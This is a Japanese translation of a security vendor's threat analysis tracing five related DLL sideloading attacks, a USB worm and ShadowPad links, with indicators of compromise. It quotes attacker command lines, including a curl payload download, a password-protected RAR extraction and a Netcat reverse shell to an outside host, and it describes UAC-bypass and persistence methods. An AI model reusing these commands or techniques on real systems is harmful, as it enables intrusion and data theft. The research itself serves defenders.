Site icon Sophos News

DLL サイドローディングを用いた 5 件の攻撃の共通点とは

** 本記事は、Family Tree: DLL-Sideloading Cases May Be Related の翻訳です。最新の情報は英語記事をご覧ください。**

ソフォスは、アジアの政府機関を標的とした攻撃を何度も観測しています。いずれの攻撃にも、以前より (少なくとも 2013 年から (リンク先: 英語) 2020 年まで (リンク先: 英語)) 中国ベースの APT グループが好んで用いてきた手法である DLL サイドローディングが関係しています。本記事では、そのうちの 5 件の共通点に注目し、攻撃者が広く知られた効果的な技術をベースにして複雑さやバリエーションを追加し、攻撃を進化させていることを明らかにします。インシデント同士の関連性を理解することで、防御者 (およびお客様) は、攻撃者が誰なのかというだけでなく、どのような脅威が進行中なのか、そして、最善の成果を得るために分析や防御をどのように優先付けすべきかを理解しやすくなります。

5 件のうち最も興味深いのは、USB ワームが東南アジアの組織に侵入した事例です。このワームは、自己増殖する際に、発見したすべてのファイルを特定のディレクトリにコピーします。その中には、Mustang PandaLuminousMoth など、他の APT 攻撃グループ由来のコンポーネントも含まれています。3 件の APT グループが関連していることを示す証拠はありません。また、複数の USB ワームが同時にシステムに感染する際に、誤ってファイルを結合してしまうことがあることもわかっています。 (25 年以上前に発見されたマクロウイルスの結合にも似た現象です。)

この USB ワームの事例では、同様のコードフロー難読化を用いたローダー DLL や、同一のローダーシェルコードなど、今回観測した他の 4 事例と重複する部分が多く見られます。同じツールを用いる別の攻撃者である可能性もあるため、この USB ワームの事例と他の攻撃の攻撃者が同一であるとは断定できません。しかし、共通点は顕著です。

本記事では 5 件すべてを深く掘り下げて解説します。付録では、USB ワーム攻撃の時系列をさらに詳しく紹介します。さらに、5 件の事例に共通すると考えられるシェルコードの一部を紹介し、これらの事例に関連する 7 つのシナリオを詳しく説明します。最後に、これらの事例に関連するセキュリティ侵害の痕跡 (IoC) を紹介します。痕跡は GitHub でも公開する予定です。

説明に入る前に、まず DLL サイドローディングとは何か、簡単に定義しておきます。よく混同されますが、DLL プリローディングとは別の攻撃です。

DLL サイドローディングと DLL プリローディング

DLL サイドローディングおよび DLL プリローディング (検索順序の乗っ取り) は、どちらも実行フローを乗っ取る攻撃ですが、微妙に異なる点があります。

DLL プリローディング (検索順序の乗っ取り) – T1574/001

DLL サイドローディング – T1574/002

報告された事例

多くのユーザーからの報告のおかけで、私たちは本記事で扱う攻撃者の活動を発見することができました。最も基本的な事例を始めとして、複雑な事例をさらに 4 件見ていきます。

事例 1: 基本的な攻撃

5 件の攻撃で繰り返し登場する、悪意のあるサーバー 91.245.253[.]52 に注目したのは、この事例がきっかけでした。

この事例は、お客様からのステージャーアラート (DynamicShellcode) により発覚したものです。以下のプロセストレースに示すように、悪意のあるペイロード (SSCE5532.dll) が、コマンドプロンプト経由で実行されます。

1  C:\Windows\SysWOW64\rundll32.exe [5624]
rundll32.exe  SSCE5532.dll RunMain
2  C:\Windows\System32\rundll32.exe [7864]
rundll32.exe  SSCE5532.dll RunMain
3  C:\Windows\System32\cmd.exe [3288]
4  C:\Windows\explorer.exe [4628]

攻撃者は、悪意のある DLL をデスクトップに配置しました。その後、標準的な Metasploit (あるいは Cobalt Strike) のリバース HTTP シェルのシェルコードを実行し、攻撃者が管理する以下のサーバーに接続しました。

91.245.253.52:6060/rKVI

事例 2: 二重の攻撃

この事例は、最初の事例の確認後、91.245.253[.]52 サーバーが使用される他の事例を探したところ、発見されたものです。この事例は 2 件の DLL サイドローディング攻撃に関連するものです。

2.1: 最初のサイドローディング攻撃

最初の感染は、デジタル署名された正規の Cisco アプリケーションである ciscocollabhost.exe を用いて行われ、実行時に悪意のある DLL である ciscoparklauncher.dll がロードされました。

ソフォスのテレメトリの観測結果から、ローダーは ciscosparklauncher.dll であり、ペイロードは同じディレクトリ内の 2831329086.inf だと考えられています。

次に、以下のコマンドラインで示されるように、パスワードで保護された RAR アーカイブを配布サーバーからダウンロードし、展開します。

http://5.252.178.162/IJOINOIS/c.rar -o 
C:\\users\\public\\libraries\\c.rar",
    "commandLine" : "c:\\windows\\system32\\cmd.exe /C 
c:\\progra~1\\winrar\\rar.exe x -hpNONI*(uy23oninjfoisjnsofnsc 
C:\\users\\public\\libraries\\c.rar  C:\\Users\\Public\\libraries"

RAR アーカイブには、以下のファイルが含まれています。

86f7661039a0855be8d6d1cb55391f398932e80c  googleupdate.exe (clean VLC EXE)
ed67a11646c1b28bc856941743331acb47f1b7b4  goopdate.ja (encrypted implant)
e5be6f621c4a10372837baf795a37b1caa942d23  libvlc.dll (malicious loader)
b2eb8516ab136aa44106c13cc859dcee77d1bc1f  loader.ja (encrypted implant)
d90355d2a53b662c1d3fe7ab4430d3955a54f73f  time.sig (encrypted config)

2.2: 2 度目のサイドローディング攻撃

次に、c.rar 内の実行ファイル googleupdate.exe (このファイルは実際には Google とは無関係な、デジタル署名された正規の VLC Media Player アプリケーションです) を使って、アーカイブ内の暗号化されたインプラントからペイロードをロードする悪意のあるローダー、libvlc.dll をサイドロードします。

便利なことに、これらのインプラントは、進行状況について詳細なデバッグログを書き出します。

p1-p11: 権限昇格の進行状況メッセージ
x1-x4: モジュール実行の進行状況メッセージ

図 1: 記録されるイベントログ

2 度目のサイドローディング攻撃が完了すると、マルウェアは今度は 443 番ポートでステージャーサーバーに接続します。

事例 3: より複雑な攻撃

この攻撃は、ソフォスの動的シェルコード対策 HeapHeapProtect によって検出されました。HeapHeapProtect は、ヒープ領域で実行されるコードが元のアプリケーションのメモリ領域に任意のコードを追加することを防止します。さらに、他のアプリケーションへの水平方向のコード注入も防止し、不審な動きが確認された場合にはフラグを立てます。この事例でも、以前の事例と同様、2 度のサイドローディングが試みられました。この事例の最初のサイドローディング攻撃は、上述の 2 つの事例で確認されたものとまったく同じでした。

3.1: 最初のサイドローディング攻撃

最初の攻撃では、他の事例で確認されたのと同一の実行ファイルおよび悪意のある DLL が用いられ、再度 91.245.253[.]52 に接続するのが確認されました。その後、パスワードで保護された RAR ファイルが別の配布サーバーからダウンロードされ、展開されました。

         "commandLine" : "curl  -k 
http://103.253.72.116/akjsdnfkjsnjfekse/walk.rar -o 
C:\\users\\public\\libraries\\walk.rar",
         "commandLine" : "C:\\Progra~1\\WinRAR\\Rar.exe  x -
hplic\\down443 C:\\users\\public\\libraries\\walk.rar 
C:\\Users\\Public\\Downloads\\",

walk.rar アーカイブには 6 件のファイルが含まれています。暗号化されたインプラント 3 件、暗号化された構成ファイル (すべて拡張子は PLG です)、正規の実行ファイル (Razer Chromium レンダリングプロセス Netsky.exe)、および悪意のある DLL (RzLog4CPP_Logger.dll) です。

3.2: 2 度目のサイドローディング攻撃

2 度目のサイドローディング攻撃には、Netsky.exe ローダーと、最初の攻撃と同一の、悪意のある RzLog4CPP_Logger.dll が用いられていました。まず、暗号化されたインプラントの 1 つである alloc.plg が復号化されて読み込まれます。さらに、このインプラントが他のファイルをロードします。

また、攻撃者が NetSky.exe のパスを引数として 2.exe を実行していることも確認されました。この実行ファイルの機能は、現在のところ不明です。

事例 4: 「ワーム祭り」

この事例は、上述の事例で発見されたサイドローディング DLL の特徴を参照して VirusTotal RetroHunt を実行したことで発見されました。この事例は、本記事で紹介する 5 つの事例の中で、最も複雑です。後ほど、5 つの事例の感染時系列をより深く分析する際に、この事例を再度見ていきます。この事例では、サイドローディングが 3 度試みられました。

この事例と上述の他のサイドローディング攻撃事例とのコードの重複が (特にローダーのシェルコードで) 顕著であることから、この事例も同じ攻撃者によるものだと考えられます。しかし、ペイロードの中身はまったく別物でした。 この事例では USB ワームが用いられていたのです。このワームの目的は不明です。ワームは、USB ドライブの root からすべてのファイルを収集し、感染が他のデバイスに広がる際に収集したファイルをコピーします。意図的なデータ窃取である可能性もあれば、マルウェアの拡散過程における単なる意図しない副次的効果である可能性もあります。

この事例では、攻撃者は正規の実行ファイル usbconfig.exe (disk_watch.exe、usb drive.exe、Removable Disk.exe とも)、暗号化されたインプラント (usb.ini)、悪意のあるインプラントローダー (u2ec.dll) を使用しました。

4.1: USB ワームの結合

この事例では、Mustang PandaLuminousMoth という他の 2 つの APT グループ由来のコンポーネントが、攻撃者が配信したファイルと同じディレクトリにサイドロードされているのが確認されました。この 2 種類の APT グループの存在は、複合的な攻撃の兆候というよりは、むしろファイル収集の過程での巻き添えだと考えられます。

サイドローディング攻撃に関連するファイルとしては、disk_watch.exe と u2ec.dll が確認されました。 Mustang Panda に関連するファイルとして、rzlog4cpp.dll (Mustang Panda リバースシェル、事例 3 の RzLog4CPP_Logger.dll とは別のもの)、wuwebv.exe (名前を変更された Netcat のクリーンコピー)、Netcat の正規の関連ファイルである DLL 2 件が確認されました。

rzlog4cpp.dll は、以下のコマンドラインで Netcat コンポーネントを呼び出すことで、リバースシェルを確立します。

cmd.exe /C wuwebv.exe -t -e c:\windows\system32\cmd.exe 
closed.theworkpc.com 80

LuminousMoth に対応するファイルとして、正規の Silverlight ランチャーである msbuild.exe と、悪意のある DLL である version.dll が確認されました。最後のファイルは USB ワームでもあり、前述の事例 4 の usb.ini インプラントと同様の機能を持ちます。これらの活動は、2021 年に確認された LuminousMoth APT の活動と類似しています。

さらにもう 1 つ、Microsoft の WinWord.exe の正規コピーであるコンポーネントも確認されました。このコンポーネントの役割は不明ですが、Kaspersky 社の研究者は、悪意のある DLL である wwlib.dll をサイドロードするために使用された可能性があると指摘しています。

事例 5: 三重の脅威

この事例では、事例 4 と同様に、3 種類のサイドローディング攻撃を検証します。一方、この事例ではワームは検出されませんでした。最初の 2 度の攻撃については事例 3 で扱いましたが、僅かな違いも確認されました。また、この「三重の脅威」は、事例 2 とも関係しています。

5.1: 最初のサイドローディング攻撃

事例 2 と同様に、攻撃者は ciscocollabhost.exe と ciscosparklauncher.dll を使用し、5.252.178[.]162/IJOINOIS から c.rar をダウンロード、展開、実行しました。

しかし今回、攻撃者はさらにパスワードで保護された RAR アーカイブである v1.rar を 103.253.72.[.]116/_akjsdnfkjsnjfekse からダウンロードし、実行しました。(この IP アドレスは事例 3 で用いられたものと同一です。) v1.rar には、smstore.exe と msvcrt.dll (いずれも正規の Microsoft ファイル) 、悪意のある DLL である SYSMSRV.dll が含まれています。

5.2: 2 度目のサイドローディング攻撃

この攻撃では事例 2 と同様、googleupdate.exe (VLC の正規の実行ファイル) と、悪意のある DLL である libvlc.dll が使用されました。

c:\users\public\libraries\out\googleupdate.exe :  
6f924de3f160984740fbac66cf9546125330fc00f4f5d2dbf05601d9d930b7d9
c:\users\public\libraries\out\libvlc.dll : 
2fd75763307c5aec5603adc6d02a7c5f34d605a0989e856001b4ae2eef2b4327

5.3: 3 度目のサイドローディング攻撃

この攻撃でも v1.rar 由来の、同一のファイルが使用されています。一方、攻撃者は UAC をバイパスして正体不明のファイルである 3.exe を含むコマンドを実行する手法も使用しています。(この UAC バイパス手法については後述します。)事例 3 の「2.exe」と同様、この実行ファイルの目的は不明です。

共通点: ローダーシェルコード

上述の 5 つの事例について、共通点を確認してみましょう。

まず、事例 1 で紹介した、最初の手がかりとなった悪意のあるサーバー 91.245.253[.]52 は、すべての事例で出現していました。その他、興味深い痕跡を以下の表に示します。

事例 1 事例 2 事例 3 事例 4 事例 5
サイドローダーの数 0 2 2 1 + 無関係な攻撃の断片 3
91.245.253[.]52 への接続 あり あり あり あり あり
5.252.72[.]116 への接続 なし あり なし なし あり
103.253.72[.]116 への接続 なし なし あり なし あり
UAC バイパス なし なし なし なし あり
悪用される正規アプリケーション なし Cisco Webex、VLC Media Player Cisco Webex Razer Chromium レンダリングプロセス Netcat、SilverLight (LuminousMoth 経由)、WinWord (目的不明)、Cisco、VLC Media Player Cisco Webex、Microsoft Symbol Server Builder、VLC Media Player
USB ワーム なし なし なし あり なし

表 1: 5 件の DLL サイドローディング攻撃の特徴と痕跡

さらに注目すべきなのは、サイドローダー DLL がプラグインを復号化する際に、ファイルの先頭バイトにジャンプして実行を追跡していることです。復号化されたプラグインは、暗号化されたプラグイン DLL をロードする、短い PE ローダーシェルコードなどを含んでいます。このローダーシェルコードは、以下の 7 つのシナリオすべてに共通であり、各シナリオに強い関連性があることがわかります。

図 2: 共通のローダーシェルコード

PlugX ローダーと同様に、このシェルコードローダーは、復号化されロードされたプラグイン DLL の最初の 0x1000 バイトを 0 バイトで上書きします。

図 3: 最初の 0x1000 バイトを 0 バイトで上書きするループ

詳細な分析: 5 つの事例、7 つのシナリオ

続いて、分析中に発見した興味深い活動を紹介します。ここでは、上述の 5 件の事例から攻撃シナリオを 1 件ずつ取り上げ、さらに、これらの事例に関連すると思われる以前のシナリオを 2 件取り上げます。通常、1 つの事例は 1 つのシナリオ (クリーンローダー、悪意のあるローダー、プラグイン) で攻撃を行いますが、これらの事例のうち 2 つでは文字通り 2 倍のシナリオが確認されています。(なぜそうなっているのかはご想像にお任せします。)参照しやすいように、それぞれのシナリオを A、B、C、D、E と呼ぶことにします。

さらに、5 つの事例から得た情報をもとに、自分たちで得たデータだけでなく、他の防御者がすでに発見しており、より大きな脅威の一部としてまだフラグが立っていないものを調べることで、2 つの「追加」シナリオ (F と G) を発見しました。ここでは、このような攻撃が脅威ハンターの目にどのように映るか、およびどの程度長期にわたる脅威であるかを示すために、これらの攻撃を紹介しています。

さらに興味深いことに、これらの事例では、類似または同一の設定データが複数のプラグインに保存されていました。具体的なプラグインの詳細な分析の項目で改めてご紹介します。

事例 1 よりシナリオ A、初期ローダー

このシナリオは初期の攻撃シナリオであり、以下のような構成になっていました。

c:\users\public\libraries\ciscocollabhost.exe : 
7b301cea1feff0add8de512a93ed7bc1b8330caf0c3a6f1585f9887b88db8efb 
(clean loader)
c:\users\public\libraries\ciscosparklauncher.dll : 
a73053f5410de74c8689d5a0da0df72adaa28055562626003d1b446c754d79e6 
(sideloader DLL)
c:\users\public\libraries\2831329086.inf (payload)

インプラント

インプラントは 2831329086.inf という名前であり、サイドローダー DLL と同じディレクトリに配置されていました。インプラントそのものは所持していないため、活動ログから動作を推測することしかできません。

事例 2 より: シナリオ B、「クールクライアント」

このシナリオに属するファイルは、事例 2 で登場した c.rar から発見されたものです。

この攻撃シナリオは、コンポーネントに残された開発情報を見るに、「クールクライアント」と呼ばれているようです。

サイドローダー DLL

libvlc.dll

コンパイル日時: 2021 年 5 月 10 日 19:40:05

PDB パス: G:\project\木马\Cool\Client\hijack_export\libvlc\Release\libvlc.pdb

PDB ファイル名: G:\project\木马\Cool\Client\hijack_export\libvlc\Release\libvlc.pdb
(木马: 中国語で「トロイの木馬」)

メイン関数であるlibvic_new を除き、libvic のエクスポートのほとんどは、すぐに終了するダミー (RET) 関数です。

図 4: 複数の機能を保つ libvic_new

この DLL の構成情報はデフォルトのままです。構成データはメモリ領域に格納されます。まず、この DLL ファイルはハードコードされた構成情報を使用して初期化され、次に復号化した time.sig で領域が上書きされます。最初の値は構成情報の ID 文字列、2 番目は暗号化キー、3 番目は C2 アドレスのようです。

cfg_find_tag
e4adbd50cf4e608d7cd3cf16022831ab
192.168.211.1

RFC1918 で指定された IP アドレスから分かる通り、これらの値はデフォルト値です。実際の値で更新するために、プロセスは time.sig をロードし、そこから構成情報を解読して、標的システムの実際の設定でデフォルトの設定を上書きします。このプロセスでは以下のことが行われます。

インプラント

これらは、感染プロセス中にロードされ実行される、暗号化されたモジュールです。

Loader.ja

コンパイル日時: 2021 年 5 月 31日 01:23:24

libvic.dll と同様にデフォルトの構成情報を含んでおり、time.sig で上書きされるようです。

以下は、埋め込まれた構成情報の関連する部分です。

cfg_find_tag
mark
group
192.168.211.1
e4adbd50cf4e608d7cd3cf16022831ab

もう 1 つの内部 IP アドレスである 192.168.211.13 は、別の場所に保存されています。

このインプラントは、CMSTPLUA.COM インターフェイスを使用した UAC バイパス手法を採用しており、作成されたプロセスを winver.exe に挿入します。プロセスは以下のファイルとして作成されます。

c:\programdata\GoogleUpdate\goopdate.ja
c:\programdata\GoogleUpdate\session.ja

プロセスの流れは、以下の通りです。

  1. avp.exe プロセスを停止する (avp.exe は Kaspersky のアンチウイルスソリューションのコアコンポーネントです。プロセスの停止は検出回避の試みです。)
  2. 次のようなレジストリの自動実行キーを作成する: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\goopdate
  3. gupdaten というサービスを追加する

goopdate.ja

コンパイル日時: 2021 年 6 月 3 日 01:28:52

PDB パス:

PDB ファイル名: G:\project\木马\Cool\Client\main\Release\main.pdb
(木马: 中国語で「トロイの木馬」)

このファイルは、コードの中で、以下のような複数のソースファイルを参照しています。

g:\project\..\cool\client\main\main\ckernelmanager.cpp
g:\project\..\cool\client\main\main\cmyudpclient.cpp
g:\project\..\cool\client\main\main\cmytcpclient.cpp

これまでの例と同様、このインプラントにはデフォルトの構成情報が含まれています。

cfg_find_tag
mark
group
e4adbd50cf4e608d7cd3cf16022831ab
192.168.211.153

また、同様に内部 IP アドレス 192.168.211.13 も含まれています。

このプラグインは正規ローダーの実行ファイルを、サービスとして自動起動するように登録します。(上述の通り、このサービスは Google Update を自称していますが、実際には VLC メディアプレーヤーの実行ファイルです。)

図 5: 新規「サービス」として追加される gupdaten

session.ja と UpdateTime.ja

これらのインプラントの実物は入手できていません。わかっているのは、loader.ja がこれらのインプラントを参照し、存在する場合に読み込むということだけです。

time.sig

このファイルには、図 6 に示すように、暗号化された構成情報が含まれています。

cfg_find_tag
None
machinetimeer
www.machinetimeer.com
www.machinetimeer.com
192,168,211,153
192.168.211.13
tests5
123456

図 6: machinetimeer に関連する 16 進数コード

事例 3 より: シナリオ C、VTCP ギャンビット

コード分析によると、このシナリオは、Trochilus RAT マルウェア由来の vtcp.dll を中心に構築されています。(ソースコードがただプラグインと関連しているということではありません。この dll が実際に、そっくりそのままメインインプラントに埋め込まれています。)これらのファイルはダウンロードされた walk.rar アーカイブ内に確認されました。

サイドローダー DLL

RzLog4CPP_Logger.dll

コンパイル日時: 2021 年 8 月 19 日 21:40:13

この DLL には、Google LLC のデジタル署名らしきものが含まれています (実際には偽装された自己署名です)。

図 7: 偽装されたデジタル署名

フィンガープリント: 747EC25FDC3710E46D69135FAE8797718B967E25
アルゴリズム: sha256RSA
発効日時: 5:52 AM 5/10/2021
失効日時: 5:52 AM 5/10/2023

RzLog4CPP_Logger.dll は、libvlc.dll と同じコードフロー難読化を使用しています。この dll は alloc.plg を読み込み、復号化します。

インプラント

alloc.plg

コンパイル日時: 2021 年 8 月 19 日 22:38:47

中国語の PDB 文字列を持つ、暗号化された埋め込み PE が含まれています。

コンパイル日時: 2018 年 2 月 10 日 19:04:13
PDB ファイル名: G:\ROOT\代码工程\木马\技巧收集\38dll\Release\38dll.pdb

(訳: G:\ROOT\コードプロジェクト\トロイの木馬\ツール集\38dll\Release\38dll.pdb)

このインプラントは wusa.exe を実行します。(さらに、おそらくはプロセストークンを取得します。)

Microsoft の仕様通り、新しいプロセスとプライマリスレッドが作成されます。作成されたプロセスは、指定された実行可能ファイルを指定された資格情報 (ユーザー、ドメイン、パスワード) のセキュリティ権限で実行します。指定されたユーザーのユーザープロファイルを読み込むこともあります。この手法の悪用は、2018 年に研究者の Vitali Kremez 氏によって指摘されており、Tofsee プラグインベースのスパムボットに関連するものです。類似の手法として、ファイルレスの AlwaysNotify UAC バイパス手法である Vault7 が挙げられます。

図 8: UAC バイパス

ユーザー名: uac
ドメイン: is
パスワード: useless

この UAC バイパスにより、free.plg が dllhost.exe 内に隠蔽されます。(シナリオ 2 でも用いられている「ハロウイング」とは、攻撃者が実行ファイル (この場合は dllhost) のコードを削除し、悪意のあるコードを埋め込むことで、「信頼された」実行ファイルを標的マシンに実行させる攻撃を指します。)実行時に正規ローダーに渡される、実行可能なコマンドラインパラメータは以下の通りです。

passuac
online
install

allog.plg は UAC_Bypass_CMSTPLUA を使用し、「C:\ProgramData\Netsky\NetSky.exe online」というコマンドでサービス (InstallSvc) を作成します。

free.plg

コンパイル日時: 2021 年 8 月 19 日 21:21:29

free.plg は現在のサービスを停止し、Global\\ACT というイベントを作成し、パラメータ 0 で sas.dll の sendSAS 関数を呼び出します。次に、C:\\ProgramData\\Netsky から local.plg と main.plg を (サービスが見つかった場合に) 読み込みます。main.plg は dllhost.exe プロセス内に隠蔽されます。

フラグファイルらしき C:\\ProgramData\\Netsky\\vs_session.dat というファイルが開かれます。(検証のための復元はできていません。)ファイルが存在しない場合、プロセスはループして検索を続けます。

local.plg

local.plg には、インプラントとは異なる暗号化方式で暗号化された構成情報が格納されています。デコードされたデータには、以下のような文字列が含まれます。

cfg_find_tag
test
188.127.237.27
188.127.237.27
674e8fb2f2c8d8699200d56493722c90

図 9: メモリダンプで撮影されたスクリーンショット

main.plg

コンパイル日時: 2021 年 8 月 19 日 21:04:16

インストール時に、このインプラントは dllhost.exe 内に隠蔽されます。main.plg には Trochilus RAT collection マルウェア由来の vtcp.dll が埋め込まれています。

vtcp.dll はメモリにロードされます。この dll のエクスポートが後の通信に使用されます。

vtcp.dll は CNetDiskClientSocket の vftable 関数を通信に使用します。main.plg は local.plg を読み込み、復号化します。main.plg は予めハードコードされた構成情報を持ち、デコードされた内容で上書きされます。ハードコードされた構成情報は、テスト時や local.plg ファイルが見つからない場合に使用される場合があります。ハードコードされた構成情報の中身は以下の通りです。

cfg_find_tag
mark
192.168.211.1
192.168.211.1

main.plg は「MSN Shessll – %d」クラスとして登録されます。%d に入る数字は、Windows API 関数 GetTickCount の呼び出しによって生成されます。次に、キー入力のログをファイルに記録します。 main.plg は C:\\ProgramData\\Netsky と C:\Users\All Users.の両方に dir.dat を作成します。いずれのファイルにも、サイドローディングコンポーネントがインストールされたディレクトリの名前、ここでは C:\ProgramData\Netsky が含まれています。

このプロセスでは、図 10 に示すように、実行中にデバッグログが生成されます。

図 10: プロセスで生成されるログ

事例 4: シナリオ D、USB ディスクの乗っ取り

ファイル内の内部開発情報によると、このシナリオは「U ディスクの乗っ取り」と呼ばれているようです。

サイドローダー DLL

u2ec.dll

作成日時   2021 年 9 月 1 日 09:23:30 UTC
初投稿  2022 年 1 月 2 日 04:07:47 UTC

以下の PDB パスが含まれています。

G:\project\APT\U盘劫持\new\u2ec\Release\u2ec.pdb

(U盘劫持: 中国語で「U ディスクの乗っ取り」)

VirusTotal でこのファイルの変種を確認しました。違いは、一部データが追加されていることだけです。

MD5 230c9a22104d5363d2e2738a6ac62b80
SHA-1   a693a273a23ec3ad274469492dc8db9f85f31c8f
SHA-256 a519c4e5dadd68c2301e65689857907941af23565bc19bb938fd3c51ff5f34ca

インプラント

このシナリオのインプラントは、暗号化された状態で保存されており、ローダーシェルコードによってデコードされます。これらのインプラントは、エクスポートのない DLL ファイルであり、メインコードはエントリコードです。

usb.ini

興味深いことに、このアーティファクトは C2 通信を一切行っていないようです。

PDB ファイル名: G:\project\APT\U盘劫持\new\shellcode\Release\shellcode.pdb

(U盘劫持: 中国語で「U ディスクの乗っ取り」)

アイコンと実行ファイルはリムーバブルドライブのアイコンを模しており、標的を騙してクリックさせるようになっています。ディレクトリ一覧は、以下の図 11 のように表示されます。

図 11: 偽装されたアイコン

その後、警告が表示されます。

図 12: ファイルを実行しようとすると Windows は警告を表示しますが、ユーザーには一見信頼できそうな情報が表示される

しかし、実行ファイルは (見かけ上) 正規のものであり、署名付きであるため、標的は怪しみません。

「programdata」を含むパスから実行されているのでない限り、usb.ini はコンピューターに感染し、以下のような手順でファイルを作成/コピーします。

udisk というインストールディレクトリを作成し、その中にドキュメントやイメージファイルをコピーした後、カレントディレクトリ (GetModuleFileName) からすべてのファイルを c:\programdata\udisk にコピーします。

ファイルのコピーを終えると、レジストリに以下のような自動実行キーを作成します。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run   udisk

c:\programdata\udisk\disk_watch.exe

その後、以下の場所に自身をコピーし、そのコピーを実行します。

c:\\programdata\\udisk\\disk_watch.exe
c:\\programdata\\udisk\\DateCheck.exe

disk_watch.exe として実行されている場合、usb.ini は USB ディスクに自身を複製することで感染します。

ログから確認できる、感染過程は以下の通りです。

はじめに、u2ec.dll がペイロードを読み込みます。

2022-05-02T03:26:54.419932Z   [ e:\usb drive.exe::13956 ]     === 
FileRead ===>   [ e:\u2ec.dll ]
2022-05-02T03:26:55.212781Z   [ e:\usb drive.exe::13956 ]     === 
FileRead ===>   [ e:\autorun.inf\protection for autorun\system 
volume information\usb.ini ]

次に、ファイル (ワームそのものではなく、ユーザーが root に作成したドキュメント) が、ワームのインスタンスと他のサイドロードシナリオのコンポーネントと同様に、インストールディレクトリにコピーされます。その後、自動実行レジストリキーが作成されます。

2022-05-02T03:27:46.035555Z   [ e:\usb drive.exe::13956 ]     === 
RegKeySetValue ===>   [ HKEY_USERS\S-1-5-21-2519359479-851945054-
3016455893-1321\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ]
2022-05-02T03:27:46.198285Z   [ e:\usb drive.exe::13956 ]     === 
RegKeySetValue ===>   [ 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Notifications\Data ]

事例 5: シナリオ E、Win10 UAC バイパス

使用されるコンポーネントは以下の通りです。

c:\users\public\libraries\out\symstore.exe : 
83e51f9d467977238f9fa5107106918ed5102f1a3e06eeba9a33d21d5df49d6a
c:\users\public\libraries\out\symsrv.dll : 
9c2f1eeea169f2dd196bc9a0d240d941ccb5a22a050bca856c1a03fd795ac58d
c:\users\public\libraries\out\msvcrt.dll : 
d8cf89e651a2e1d9f8f653d16ecbca979d6c9459329a015ff825eff38792ed24

この事例では、暗号化された追加のペイロードファイルはありません。サイドロードされた DLL である symsrv.dll がそのままペイロードとなります。

SYMSRV.dll

PDB パス:

C:\Users\admin\Desktop\djwklqjdlwqjldwqjlkfjwlqkjlqwjglqwjglqjlgjwqkjgk\SYMSRV.pdb

PenTestLab のブログ (こちら) で説明されているように、SYMSRV.dll は正体不明の 3.exe コンポーネントを含むコマンドを実行するために UAC バイパス手法を使用する 64 ビットローダー DLL です。

インプラントはさまざまなコマンドを実行し、レジストリキー HKCU\ Classes\ms-settings\CurVer に挿入されます。UAC バイパス手法に対して脆弱な 2 種類の Windows コンポーネントの実行を試みます。

c:\windows\system32\fodhelper.exe
c:\windows\system32\ComputerDefaults.exe

これらの正規の Windows コンポーネントは実行されると、レジストリキーから実行するコマンドを受け取り、より高い権限で実行します。

この方法で、以下のコマンドが実行されているのを確認しました。

C:\\users\\public\\libraries\\3.exe
mkdir C:\\programdata\\googleupdate\
C:\\Users\\Public\\Libraries\\out\\googleupdate.exe

そのため、インプラントはレジストリにフラグを作成し、他の実行ファイルの介入を防ぎます。フラグが設定されている場合は、他のコマンドが実行中であることを示します。フラグキーは HKCU\Classes\aaabbb32\shell\open\command です。

攻撃者は、DLL をサイドロードする手法に強いこだわりを持っています。この UAC バイパス手法は、どのインプラントにもコンパイルできたはずです。しかし、その代わりに、シンプルなロジックがスタンドアロンのサイドロードシナリオとして実行されており、デバッグ機能によってペイロードが巨大 (1.1MB) な DLL ファイルへと膨れ上がっています。

シナリオ F: ShadowPad への接続

前述の通り、ソフォス以外のソースから追加の事例を VirusTotal で発見しました。この事例は VT ハンティングで発見されたもので、2021 年 1 月のものですが、上述したような 2022 年の事例と共通する特徴を持っており、明らかに関連しています。

サイドローダー DLL

以下のファイルが確認されました。

73048579a2903918bbcc601cd562e8f93459ad2a562c6537006067b59735b7b6: log.dll
MD5        63971f35a4282343eced55ebdfd1cb0b
SHA-1    bee88779a9c65543a9cfa5069b4486131a23e55d
SHA-256 73048579a2903918bbcc601cd562e8f93459ad2a562c6537006067b59735b7b6
Creation Time 2021-01-25 05:43:52 UTC
Signature Date             05:48 AM 01/25/2021
First Submission         2022-01-26 05:43:49 UTC

Bitdefender 由来のデジタル署名での自己署名を装っていますが、実際には偽装されたものです。

BitDefender SRL
Name      BitDefender SRL
Status This certificate or one of the certificates in the certificate chain is not 
time valid. The certificate or certificate chain is based on an untrusted root.
Issuer BitDefender SRL
Valid From       05:48 AM 01/25/2021
Valid To            05:48 AM 01/25/2022
Valid Usage     All
Algorithm         sha256RSA
Thumbprint       A9CA14BA90962DEA552F6A5FB2E5970ACF939EDE
Serial Number 01

図 13: 疑わしいデジタル署名

サイドローダー DLL は、qutmain.dat というファイルからペイロードを読み込みます。

このサイドローディングシナリオは以下のファイルで構成されています。

73048579a2903918bbcc601cd562e8f93459ad2a562c6537006067b59735b7b6 *log.dll
bcc588207d62a44149df54bd948815bdcfe60e7864bae00d6cd619f5d6cc2257 *qutload.dat
7529e60f377b24c60914ec909dbfdc0e60ad9e18fbf9750a4463acf33a7ce16f *qutmain.dat
386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd *qutppy.exe
fb65524f27e847ac073a61d2c3eeae6a9447e34836347bbd7baff22a07cf0b01 *vsserver.dat

上記の .dat ファイルは暗号化されたプラグインであり、quttpy.exe は Bitdefender の正規ローダー (Bitdefender Crash Handler) です。この正規ファイルのサイドロードシナリオでの使用は (ペイロードは異なるものの) 2021 年初頭から報告されており、NetSarang こと ShadowPad に起因するとされています。(さらに、Trend Micro は暗号化された .dat ファイルを Trojan.Win32.SHADOWPAD.CGW.enc として検出します。)実際の設定データを含んだ info.dat というファイルもあるはずですが、復元はできませんでした。

log.dll のローダーには、上記の事例と同様の難読化が施されており、復号化されたプラグインシェルには同じシェルコードのローダーが使用されていました。2022 年の攻撃との強い関連性を示していると考えられます。

インプラント

qutmain.dat

このファイルは本質的には alloc.plg と同一です。インストールされたプラグインが格納された以下の場所を参照します。

C:\ProgramData\mos\qutppy.exe
C:\ProgramData\mos\qutload.dat
C:\ProgramData\mos\qutppy.exe online
C:\ProgramData\mos\info.dat
C:\ProgramData\mos\vsserver.dat
C:\ProgramData\mos\qutppy.exe install

また、alloc.plg と同様、[fortest] タグを使用したデバッグメッセージを生成する上に、alloc.plg と全く同じ UAC バイパスコンポーネントを含んでいます。

